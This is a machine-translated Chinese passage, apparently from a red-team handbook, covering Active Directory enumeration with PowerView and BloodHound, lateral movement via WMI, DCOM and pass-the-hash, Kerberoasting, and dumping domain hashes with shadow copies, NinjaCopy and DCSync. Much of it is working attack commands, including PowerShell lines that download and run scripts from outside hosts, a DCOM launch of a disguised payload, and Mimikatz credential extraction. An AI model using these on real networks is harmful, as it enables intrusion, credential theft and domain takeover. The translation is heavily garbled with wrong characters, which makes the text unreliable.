咱们可以使用 @harmj0y 创建的名为 PowerView 的器具来帮咱们完成扫数的复杂的查询操作。PowerView 是一个 PowerShell 剧本,用于在 Windows 域上得到辘集拓扑信息。它包含一组纯 PowerShell 敕令替换项,用于多样 Windows 系统中的 net敕令,这些敕令使用 PowerShell AD hooks 和基础的 Win32 API 函数来实行有用的 Windows 域功能[] 。作为攻击者,咱们可以使用 AD 中低权限用户普通的域用户来利用 PowerView 和 PowerShell 查询 AD(行径目次),以致不需要土产货料理员权限。
让咱们通过一个例子来说明咱们可以从这个低权限用户那里得到几许数据。在一最先,咱们也曾在运行 Empire(你可以在 Metasploit、Cobalt Strike 或近似软件皆可以),并在受害者系统上实行了 payload。如果你以前从未建立过 Empire,请稽查关联建立 Empire 和 Empire payload 的成立章节。一朝咱们的代理(agent)与咱们的敕令和控制做事器通讯,咱们就可以键入 info 以查找关联受害者的信息。在本例中,咱们也曾攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。
接下来,咱们但愿在不引起太多怀疑和珍爱的情况下从域中查询信息,咱们可以使用 Empire 里面的 PowerView 器具来获取信息。PowerView 查询域控制器(DC)以获取关联用户、用户组、策动机等的信息。咱们这次使用 PowerView 将只用来查询域控制器,何况使它看起来像正常通讯。
Empire 下有哪些模块可用于信息汇集呢?
咱们可以从 PowerView 剧本的 get_user 的函数名最先。获取指定域中指定查询用户的信息。通过使用默许成立,咱们可以获取关联 AD 顶用户的扫数信息以及联系信息的转储。
Module: situational_awareness/network/powerview/get_user
在上头的转储文献中,咱们可以看到对于其中一个用户 purri gagarin 的信息。咱们得到了什么类型的信息?咱们可以看到他们的 sAMAccountName 或用户名,当他们的密码被变调时,看到他们的对象类别是什么,他们是什么权限组的成员,临了登录的期间是什么,等等。使用这个基本的用户转储,咱们可以从目次做事中得到多数的信息。咱们还能得到什么样的信息呢?
Module: situational_awareness/network/powerview/get_group_member
get-group-member 复返给特定组的成员,并遴荐“recurse”以查找扫数有用的组内成员。咱们可以使用 AD 来查找特定组的特定用户。举例,使用以下 Empire 的成立,咱们可以搜索属于域料理组的扫数域料理员和组:
info set Identity “Domain Admins” set Recurse True set FullData True execute现在,咱们有一个用户、组、做事器和做事的汇集列表。这将匡助咱们了解哪些用户领有哪些特权。但是,咱们仍然需要关联责任站和系统的详实信息。这可能包括版块、创建日历、用途、主机名等。咱们可以用一个叫作念 get_computer 的模块来得到这些信息。
Module: situational_awareness/network/powerview/get_computer
神态:get_computer 模块可以查询域中当前的策动机对象。
get_computer 查询域控制器可以得到什么信息呢?好吧,咱们看到咱们可以得到对于机器的信息,比如当它被创建时的 DNS 主机名,自界说称呼等等。作为攻击者,最有用的侦察细节之一是获取操作系统类型和操作系统版块。在这种情况下,咱们可以看到这个系统是 Windows 10 Build 16299版块。咱们可以通过获取这些信息,了解操作系统的最新版块以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。
Bloodhound/Sharphound咱们如何利用在侦察阶段汇集的扫数信息来创建一条攻击线路呢?咱们如何能够缩小、快速地得知谁有权限去调用那些功能?追忆一下,咱们老是试图顺利攻击,让一切皆达到咱们想要的目的,但这老是会增多被收拢的可能性。
Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 也曾创造了一种最好的器具,那即是 Bloodhound/Sharphound。在他们的 Github 页面上夸耀。“Bloodhound/Sharphound 使用图表表面来揭示 Active Directory 环境中躲避的、出乎意象的关系。攻击者红队可以使用 Bloodhound 缩小识别高度复杂的攻击旅途,不然的话将无法快速识别。驻守者蓝队可以使用 Sharphound 来识别和排斥对应的的攻击旅途。”[https://github.com/BloodHoundAD/BloodHound] 。
Bloodhound/Sharphound 的责任旨趣是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(近似于咱们以前手奇迹念的)。然后,Ingestor 将尝试结合到每个系统以陈列登录的用户、会话和权限。天然,这个动静会很大。对于采取默许成立(可以修改)的中型企业网站,结合到每个主机系统和使用 Sharphound 查询信息的期间可能不到10分钟。珍爱,因为这会战争到辘集上每个加入域的系统,是以它可能会让你被发现。Bloodhound/Sharphound 中有一个奥密选项,它只查询 Active Directory,不结合到每个主机系统,但是输出结果相称有限。
面前有两种不同的版块(我相信旧版块很快就会被移除):
在 Empire,你可以使用模块: usemodule situational_awareness/network/bloodhound 这仍然是查询相称慢的旧的 PowerShell 版块 最好的遴荐是 Sharphound,Sharphound 是最原始的 C# 版块 Bloodhound Ingester。这是个更快更平定的版块。可以用作孤独二进制文献,也可以作为 PowerShell 剧本导入。Sharphound PowerShell 剧本将使用反射和 assembly.load 加载已编译 BloodHound C# 版块的 ingestor 并将其拿获。 https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个麇集方法:
Group - Collect group membership information 汇集构成员身份信息 LocalGroup - Collect local admin information for computers 汇集策动机的土产货料理信息 Session - Collect session information for computers 汇集策动机的会话信息 SessionLoop - Continuously collect session information until killed 持续汇麇集话信息直到闭幕 Trusts - Enumerate domain trust data 列举域内信任数据 ACL - Collect ACL (Access Control List) data 汇集ACL(拜谒控制列表)数据 ComputerOnly - Collects Local Admin and Session data 汇集土产货料理和会话数据 GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects) 使用GPO(组策略对象)汇集土产货料理信息 LoggedOn - Collects session information using privileged methods (needs admin!) 使用特权方法汇麇集话信息(需要料理员权限!) ObjectProps - Collects node property information for users and computers 为用户和策动机汇集节点属性信息 Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts 汇集构成员、土产货料理员、会话和域信任关系在宗旨系统上运行 Blood/Sharphound:
运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1: Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -NoSaveCache 运行可实行文献: SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group一朝完成了 Bloundhound/Sharphound,这四个文献将被保存到受害者机器上。下载并处理这些文献,并将它们复制到你的 kali 上。接下来,咱们需要启动 Neo4j 做事器并导入这些数据来构建联系关系图。
打开 Bloodhound
apt-get install bloodhound neo4j console 打开浏览器拜谒 :7474 结合到 bolt://localhost:7687 用户名: neo4j 密码: neo4j 修改密码 在一个结尾中运行 Bloodhound: bloodhound 数据库 URL: bolt://127.0.0.1:7687 用户名: neo4j 密码:新的密码 加载数据 在右侧,有一个 Upload Data 的按钮 上传 acls.csv,group_membership.csv, local_admin.csv 和 sessions.csv如果你莫得一个域来测试这个,我也曾在这里上传了四个 Bloodhound 文献:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重迭这些熟练了。一朝进入 Bloodhound 并导入了扫数数据,咱们就可以去查询“查找到域料理员的最短旅途”。咱们还可以遴荐特定的用户,望望是否可以将旅途映射到特定的用户或组。在咱们的示例中,咱们攻陷的第一个用户机器是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索栏中,咱们输入该用户的用户名,单击 Pathfinding 按钮,然后键入“Domain Admin”(或任何其他用户),稽查是否可以在这些对象之间夸耀对应的路由旅途。
你可以从 Neil 的机器上看到,咱们可以一齐凯旋的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。
如果咱们能攻陷 HelpDesk 组,咱们可以转到 Chris 的主机中,而且 Elon Muskkat 面前已登录此机器。如果咱们能更始到他的程度或窃取他的明文密码,咱们就可以把权限提高到域料理员!
对于大型辘集的扫描结果,咱们珍爱到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大克己是,它允许通过我方自己的叫 Cypher 的语言进行原始查询。关联自界说查询的 Cypher 的深入研究,请拜谒:https://blog.cptjesus.com/posts/introtocypher 。
咱们可以添加哪种自界说查询?来看吧,@porterhau5在扩张 Bloodhound 追踪和可视化攻击方面取得了很猛进展。稽查他们的著述:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。
从高眉目的角度来看,@porterhau5增多了标记被攻陷主机的想法,以匡助更好地在内网漫游。举例,在这个伪造的场景中,咱们通过仿冒用户 niel.pawstrong 来危害其他开动用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能,咱们可以运行这些查询:
向被攻陷系统添加自有标签: MATCH (n) WHERE n.name=“NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=“phish”, n.wave=1 运行查询以夸耀扫数被仿冒的系统 MATCH (n) WHERE n.owned=“phish” RETURN n现在,咱们可以向 Bloodhound 添加一些自界说查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自界说查询”把握的“裁剪”按钮。用以下内容替换扫数文本:
https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json保存之后,咱们应该创建更多的查询。现在咱们可以单击查找结果“查找从所属节点到域料理员的最短旅途”。
如果你想更仔细地研究这个问题,请稽查 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直不雅,并允许更多的自界说功能:https://github.com/porterhau5/bloodhound-owned 。
到面前为止,在莫得扫描的情况下,咱们也曾能够得到对于该组织的多数信息。这皆是作为土产货 AD 用户(域用户)的权限能作念到的的,而且在大多数情况下,莫得任何辘集流量看起来太可疑。正如你所看到的,咱们能够作念到这一切,而无需成为土产货料理员或对土产货系管辖有任何料理权限。
Advanced ACL/ACE Bloodhound当使用 Bloodhound 的汇集方法拜谒控制列表(ACL)类型时,咱们的剧本将查询 AD 以汇集用户和对象的扫数拜谒控制权限。咱们从拜谒控制项(ACEs)汇集的信息神态了用户、组和策动机的允许和断绝权限。寻找和利用 ACEs 自己即是一个能写成完整的书的内容,但这里有一些很好的启动资源:
BloodHound 1.3–acl 攻击旅途更新 https://wald0.com/?p=112 先容起义性规复方法在将 ACL 数据导入 Bloodhound 时,咱们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在缺欠的地方。这将包括谁有智商变调或重置密码、向组中添加成员、为其他用户更新剧本旅途等对象、更新对象或在对象上写入新的 ACE 等等。
若何使用这个东西呢?当攻陷到某个用户和得到额外的凭证后,咱们可以通过宗旨旅途找到一个有智商重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域料理员或特权帐户的旅途,以致允许成立后门以供以后使用。了解这些类型的利用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲 。
横向漫游——出动在一个领有多个用户的机器上,日常的作念法是创建一个新的用户凭证或者搬动不同用户的凭证。这种方法多数用于在环境中横向出动,这并不是什么簇新问题。日常,从 Bloodhound 输出或分享责任站,作为攻击者,咱们需要能够效法被攻陷的受害者系统上的其他用户。
咱们领有的许多器具可以用不同的方法来杀青这一丝。比如 Metasploit,咱们皆应该相称熟悉使用 Post Exploitation 躲避框架来窃取 token。
在 Empire 中,咱们可以使用窃取 token 来模拟该系统上的用户。我珍爱到,有时候窃取 token 会让咱们的 shell 下线。为了幸免这种情况,咱们可以将一个新的 agent 注入到另一个用户领有的正在运行的程度中。
鄙人面的图片中,咱们使用垂钓让一个职工运行了咱们的坏心软件。。这使得咱们可以在受害者用户的系统中运行咱们我方的范例(neil.pawstrong)。在阿谁用户的系统上,咱们可以转到 BuzzClawdrin 的系统,并用WMI(WindowsManagementInstrumentation)敕令实行得到了一个新的 agent。这里的问题是,咱们在首先攻击受害者 Neil.Pawstrong 的过程中,因为咱们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,咱们不应该窃取 token,而应该使用 Empire 的 psinject 功能。
psinject 神态“能够使用 ReflectivePick 将代理注入另一个程度,从而将通用.NET运行库时加载到程度中并实行特定的 PowerShell 敕令,而无需启动新的 PowerShell.exe 程度!”[ ],咱们使用它来生成一个全新的、以 buzz.clauldrin 的用户程度运行的 agent,这样咱们现在就可以得到他的拜谒权限。
离开开动主机现在你也曾找到了将要出动到的潜在旅途,那么得到这些系统的代码实行的选项是什么?最基本的方法是使用咱们当前的有 Active Directory 权限的用户以得到对另一个系统的控制权,举个例子,一个司理可以完全拜谒其下属的策动机,一个领有多个具有料理权限的会议/实验组策动机,他们的里面系统建立造作,或者发现存东说念主手动将用户添加到该策动机上的土产货料理组。这皆是普通用户可以领有长途拜谒到辘集上的其他责任站的可能的一些方式。一朝攻陷了一台宗旨机器,咱们既可以获取 Bloodhound 的结果,也可以重新扫描辘集以稽查咱们在哪些机器上具有土产货拜谒权限:
Empire 模块: situational_awareness/network/powerview/find_localadmin_access Metasploit 模块:Empire 的 find_localadmin_access 将查询 Active Directory 中的扫数主机名并尝试结合到它们。这统统是一个会酿成很大动静的器具,因为它需要结合到每个主机何况考证它是否是土产货料理员。
咱们可以看到,Empire 的 find_localadmin_access 模块表明了用户拜谒咱们的罗网的是一个 buzz.cyberspacekittens.local 机器。这应该和咱们的 Bloodhound 回显的是一样的。为了再次检讨咱们是否有拜谒权限,我日常会实行一些非交互的长途敕令,比如 dir [remote system]\C$ 并稽查咱们是否有对 C 盘的读/写权限。
在域内横向出动方面,有好几种作念法。让咱们先来望望 Empire 中最常见的(顺利从 Empire 中索要的):
inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份考证央求中继到 SMB 宗旨。如果得胜地中继了身份考证,何况帐户具有较高的权限,则将在宗旨机器上利用 PSExec 实行指定的敕令或 Empire 启动范例。 invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在土产货/长途主机上实行 PowerShell 敕令。如果提供了凭证,则在土产货装入默许料理分享。此敕令将在启动 msbuild.exe 程度的前后实行,而不启动 powershell.exe。 invoke_psremoting:使用 psremoting 在长途主机上实行 stager。只须受害者启用了 PSRemoting(这不老是启用的),咱们就可以通过此服求实行 PowerShell。 invoke_sqloscmd:在长途主机上实行敕令或着使用 xp_cmdshell 范例。就会反弹回一个 xp_cmdshell! invoke_wmi:使用 WMI 在长途主机上实行 stager。发现宗旨险些老是启用了 WMI,这是实行 PowerShell payload 的一个很好的方法。 jenkins_script_console:将 Empire 代理部署到具有对剧本控制台未经身份考证拜谒权限的 Windows Jenkins 做事器。如咱们所知,Jenkins 做事器是常见的,莫得凭证日常意味着要使用 RCE 来通过 /script 端点。 invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在长途主机上调用敕令。允许咱们在不使用 psexec,WMI 或 PSRemoting 的情况下浸透进去。 invoke_psexec:使用 PsExec 类型在长途主机上实行 stager 功能。这是使用 PsExec 出动文献并实行的传统方法。这可能会触发警报,但如果莫得其他可用的方法,这仍然是一个好方法。 invoke_smbexec:使用 SMBExec.ps 在长途主机上实行 stager。咱们可以使用 samba 器具进行近似的攻击,而不是使用 PsExec。 invoke_sshcommand:通过 SSH 在长途主机上实行敕令。 invoke_wmi_debugger:使用 WMI 将长途策动机上的宗旨二进制文献的调试器成立为 cmd.exe 或 stager。使用近似 sethc(粘滞键)的调试器器具来实行咱们的代理。 new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO,此模块允许你将“即时”筹备任务推送到可以裁剪的 GPO,允许在应用 GPO 的系统上实行代码。[-1-5/]
这些只是一些最简单和最常见的横向内网漫游时代。在本书的背面,咱们将磋磨一些不太常见的绕过辘集的时代。在大多数内网中,日常启用 Windows Management Instrumentation(WMI),因为它是料理责任站所必需的做事。因此,咱们可以使用 invoke-wmi 横向出动。由于咱们使用的是土产货缓存凭证,且咱们的帐户可以拜谒长途主机,因此咱们不需要知说念用户的凭证。
在长途系统上实行
usemodule lateral_movement/invoke_wmi 成立你行将入侵的主机的联系信息: set ComputerName buzz.cyberspacekittens.local 建立你将使用的监听器: set Listener http 结合到长途主机并实行坏心范例: execute 和新的 agent 交互: agents interact sysinfo 利用 DCOM 的横向出动有许多方法可以在主机上进行单次横向出动。如果流露的帐户具有拜谒权限,或者你能够使用拿获的凭证创建令牌,咱们可以使用 WMI、PowerShell 长途敕令实行或 PSExec 生成不同的 shell。如果这些实行敕令的方法受到监控若何办?咱们通过使用散播式组件对象模子(DCOM)杀青一些很酷的 Windows 功能。DCOM 是用于在不同长途策动机上的软件组件之间通讯的 Windows 功能。
你可以使用 Powershell 敕令列出策动机的扫数 DCOM 应用范例:GetCimInstance Win32_DCOMApplication
安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(举例 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上长途实行代码。当列出扫数 DCOM 应用范例(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只须咱们的帐户有权拜谒,咱们就可以利用此功能在长途责任站上实行二进制文献。
powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)这将只在系统土产货实行文献,何况咱们不可将任何敕令行参数包含到可实行文献中(因此不可使用 cmd /k 类型的攻击)。相背,咱们可以从长途系统调用文献并实行它们,但请珍爱,用户将收到申饬的弹窗。在本例中,我面前在一个受害者的主机 neil.cyberspacekittens.local 上,该主机可以料理拜谒一个名为 buzz 的长途责任站。咱们将在 Neil 的责任站上分享一个文献夹,并托管咱们的 payload。接下来,咱们可以调用 DCOM 对象在长途受害者(buzz)策动机上实行托管的 payload。
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”)
正如你鄙人一张图片中看到的,Buzz 的策动机上出现了一个对于运行 adobeupdate.exe 文献的弹出窗口。固然大多数用户皆会点击并运行这个,但它可能会让咱们被宗旨察觉。
因此,幸免这个问题的更好方法是在使用 DCOM 实行该文献之前将该文献移到上头(近似于装载受害者的驱动器)。@Enigam0x3对此作念得更进一步,并利用 Excel 宏来使用 DCOM。首先,咱们需要在我方的系统上创建坏心 Excel 文档,然后使用 PowerShell 剧本在受害者主机上实行此.xls 文献。
需要珍爱的一丝是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或罢手做事等等。这无疑为进一步研究 DCOM 功能提供了很好的开赴点。
参考文献:
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ https://www.cybereason.com/blog/dcom-lateral-movement-techniques Pass-the-Hash往常传递土产货料理帐户 Pass-The-Hash(PTH)的方法在很大程度上也曾最先消逝。固然还莫得完全消逝,但让咱们快速回顾一下。PTH 攻击利用 Windows NTLM 哈希对系统进行身份考证,而不是使用用户的凭证。这是很要紧的一丝,首先,使用 Mimikatz 这样的器具可以很容易地规复哈希,可以为土产货帐户索要哈希(但需要土产货料理员权限),可以从转储域控制器(不是明文密码)中规复哈希(DCsync)等等。
PTH 最基本的用途是攻击土产货料理员。由于默许情况下土产货料理员帐户已被禁用,何况出现了更新的安全功能,举例土产货料理员密码科罚决议(LAPS),为每个责任站创建随秘密码,因此日常很少使用上述这种方法。往常,在一个责任站上获取土产货料理帐户的哈希值在通盘组织中是可以用相通的方法杀青的,这意味着一个易受攻击的决议会使通盘公司收歇。
天然,这要求你必须是系统上的土产货料理员,启用土产货料理员帐户“administrator”,何况它是 RID 500帐户(意味着它必须是原始料理员帐户,不可是新创建的土产货料理员帐户)。
实行敕令: shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never如果咱们看到帐户处于行径状态,咱们可以尝试从土产货策动机中索要扫数哈希值。请记着,这不会包括任何域账户哈希:
Empire Module: powershell/credentials/powerdump Metasploit Module:举例:
(Empire: powershell/credentials/powerdump) > execute Job started: 93Z8PE输出:
Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::咱们可以使用 Empire(credentials/mimikatz/pth)或者启动确凿任的 psexec,提交咱们的哈希,并实行咱们的自界说 payload,如下图所示:
如前所述,这是一种现在有数的陈腐的横向出动方式。如果你仍在研究利用土产货料理员帐户,但所处的环境有 LAPS(土产货料理员密码科罚决议),你可以使用几个不同的将它们从 Active Directory 中转储出的器具。这假设你也曾领有一个域料理员或 Helpdesk 类型帐户的权限:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/]这是保持横向出动而不刊出 Helpdesk 用户帐户的好方法。
从做事帐户获取凭证如果你发现我方处于一个用户权限受限、无法从内存中索要密码、主机系统上莫得密码的情况下,该若何办...接下来该若何办?好吧,我最可爱的攻击之一是 Kerberoasting。
咱们皆知说念 NTLM 存在障碍,这是由于单向哈希(不含盐)、重放攻击和其他传统问题酿成的,这亦然许多公司转向采取 Kerberos 的原因。如咱们所知,Kerberos 是一种安全的方法,用于对策动机辘集中的做事央求进行身份考证。咱们不会深入研究 Windows 中的 Kerberos 杀青。但是,你应该知说念域控制器日常充任单子授予的做事器;辘集上的用户可以央求单子授予做事器以获取资源拜谒权的凭证。
什么是最严重的攻击?作为攻击者,咱们可以掌捏咱们之前索要的宗旨做事帐户的任何 SPN 央求 Kerberos 做事票证。缺点在于,当从域控制器央求做事单子时,该票证使用关联的做事用户的 NTLM 哈希加密。由于任何用户皆可以央求任何单子,这意味着,如果咱们可以猜测关联做事用户的 NTLM 哈希(加密单子的)的密码,那么咱们现在就知说念现实做事帐户的密码。这听起来可能有点令东说念主困惑,是以让咱们来看一个例子。
与以前近似,咱们可以列出扫数的SPN做事。这些是咱们将为其索要扫数 Kerberos 单子的做事帐户:
setspn -T cyberspacekittens.local -F -Q /咱们可以将单个用户的 SPN 作为宗旨,也可以将扫数用户的 Kerberos 单子拉入用户的内存中:
针对单个用户: powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local” 将扫数用户单子拖到内存中 powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} 天然,你也可以使用 powersploit 实行此操作: https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/如果得胜的话,咱们也曾将一个或多个不同的 Kerberos 票证导入到受害者策动机的内存中。咱们现在需要一种方法来索要单子。咱们可以使用好器具 Mimikatz Kerberos 导出:
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’一朝咱们导出这些票证,它们将仍会驻留在受害者的机器上。在咱们最先破解它们之前,咱们必须从它们的系统中下载它们。请记着,单子是用做事帐户的 NTLM 哈希加密的。是以,如果咱们能猜到 NTLM 哈希,咱们就可以读取单子,现在也知说念做事帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的器具(JTR 和 Hashcat 也接济破解 Kerberoast,稍后咱们将磋磨)。使用 Kerberoast 破解票证:
使用 Kerberoast 来破解单子: cd /opt/kerberoast python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi]在这个例子中,做事帐户 csk-github 的密码是“p@ssw0rd!”
天然,Empire 有一个 PowerShell 模块为咱们作念扫数需要作念的事情。它位于 powershell/credentials/invoke_kerberoast 目次下( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 )。
你可以用 John the Ripper 以致 Hashcat 来破解密码并输出结果。我以前在相称大的辘集环境中运行 PowerShell 剧本时遭遇过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将扫数的单子皆获取下来。
转储域控制器哈希一朝咱们得到了域料理拜谒权,从 DC 中索要扫数哈希的老方法即是在域控制器上运行敕令,并使用 Shadow Volume 或原始拷贝时代索要 ntds.dit 文献。
回顾磁盘卷影复制时代由于咱们确乎可以拜谒文献系统,何况可以作为攻击者在域控制器上运行敕令,因此咱们但愿获取存储在 ntds.dit 文献中的扫数域内哈希。倒霉的是,该文献络续地被读和写,即使作为系统,咱们也无法读取或复制该文献。行运的是,咱们可以利用名为 Volume Shadow Copy Service 磁盘复制做事(VSS)的 Windows 功能,该功能将创建磁盘的快照副本。然后咱们可以从该副本中读取 Ntds.dit 文献将其获取出来。并将其从策动机上取消,这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文献。临了,咱们需要清算咱们的踪迹并删除磁盘拷贝:
C:\vssadmin create shadow /for=C: copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM. copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM. reg SAVE HKLM\SYSTEM c:\SYS vssadmin delete shadows /for= [/oldest | /all | /shadow=]NinjaCopy
Ninjacopy 是另一个器具,一朝咱们在域控制器上,就可以用来获取 Ntds.dit 文献。Ninjacopy “通过读取原始磁盘卷并分析 NTFS 结构,从 NTFS 分区磁盘复制文献。这将绕过文献 DACL(轻易拜谒控制列表)、读取句柄锁和 SACL(系统拜谒控制列表)。但你必须是料理员能力运行这个剧本。这可用于读取日常锁定的系统文献,如 NTDS.dit 文献或注册表建立单位。”[]
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.ditDCSync
现在,咱们也曾回顾了从 DC 索要哈希的老方法,这些方法要求你在 DC 上运行系统敕令,何况日常需要在该策动机上删除一些文献,让咱们陆续磋磨新方法。最近,由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改变了从域控制器转储哈希的玩法。DCSync 的主张是它模拟域控制器来央求该域顶用户的扫数哈希。这意味着,只须你有权限,就不需要运行任何域控制器上的敕令,也不必删除 DC 上的任何文献。
但是要使 DCSync 责任,必须具有从域控制器中索要哈希的安妥权限。日常是限于域料理员、企业料理员、域控制器用户组以及将复制变调权限成立为允许(即复制扫数变调和复制目次变调)的任何东说念主,DCSync 将允许你的用户实行此攻击。这种攻击首先是在 Mimikatz 开发的,可以使用以下敕令运行:
Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes]更好的是,DCSync 被引入了 PowerShell Empire 这样的器具,以使其更容易杀青。
Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump
稽查 DCSync hashdump,咱们可以看到 Active Directory 顶用户的扫数 NTLM 哈希。此外,咱们还有 krbtgt NTLM 哈希,这意味着咱们现在(或在将来的行径中)可以实行 Golden Ticket attacks(黄金单子攻击)。
利用 VPS 在内网进行 RDP 横向出动在现谢宇宙,有了多数的新一代杀毒软件,在策动机之间横向运行 WMI/PowerShell Remoting/PSExec 并不老是最好的遴荐。咱们还看到一些组织系统正在记载扫数发生的 Windows 敕令教唆。为了科罚这一切,咱们有时需要回到基本的横向解析。使用 VPS 做事器的问题是,它只是一个莫得 GUI 接口的 shell。因此,咱们将建立路由和代理转发来自攻击者主机的流量,通过 VPS,然后再到被攻陷的主机,临了横向出动到下一个受害者。行运的是,咱们可以使用大部分土产货器具完成任务。
首先,咱们需要成立一个 VPS 做事器,启用通达到公网的多个端口,用 PTF 建立 Metasploit,并用 Meterpreter 攻陷首先的受害者。咱们也可以用 Cobalt Strike 或其他框架来杀青这一丝,但在本例中咱们将使用 Meterpreter。
咱们可以利用默许的 SSH 客户机,使用土产货端口转发(-L)。在这个场景中,我使用的是 Mac,但这也可以在 Windows 或 Linux 系统上完成。咱们将使用 SSH 密钥通过 SSH 结合到咱们的 VPS。咱们还将在攻击者机器上建立土产货端口,在本例中是3389(RDP),以将任何发送到该端口的流量转发到咱们的 VPS。当该端口上的流量转发到咱们的 VPS 时,它会将该流量发送到 VPS 上 3389 端口上的土产货主机。临了,咱们需要在 3389 端口上成立一个监听咱们的 VPS 的端口,并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器成立一个端口转发,以能结合到受害者的系统。
用 Meterpreter payload 攻击受害者 在咱们的机器上开启 SSH,并在咱们的攻击者系统上成立土产货端口转发(土产货监听端口3389),以将针对该端口的扫数流量发送到 3389 上的 VPS 土产货主机端口。 ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 在 Meterpreter 会话上成立一个前置端口以监听端口3389上的 VPS,并通过被攻陷的机器将该流量发送到下一个要横向出动到的做事器。 portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 在咱们的攻击者机器上,打开咱们的 Microsoft 长途桌面客户端,将你的结合成立为你我方的土产货主机 -127.0.0.1,然后输入受害者的凭证以通过 RDP 进行结合。 在 Linux 中横向出动在 Linux 中的操作多年来变化不大。日常,如果你使用的是 dnscat2 或 Meterpreter,它们皆接济我方的转发。
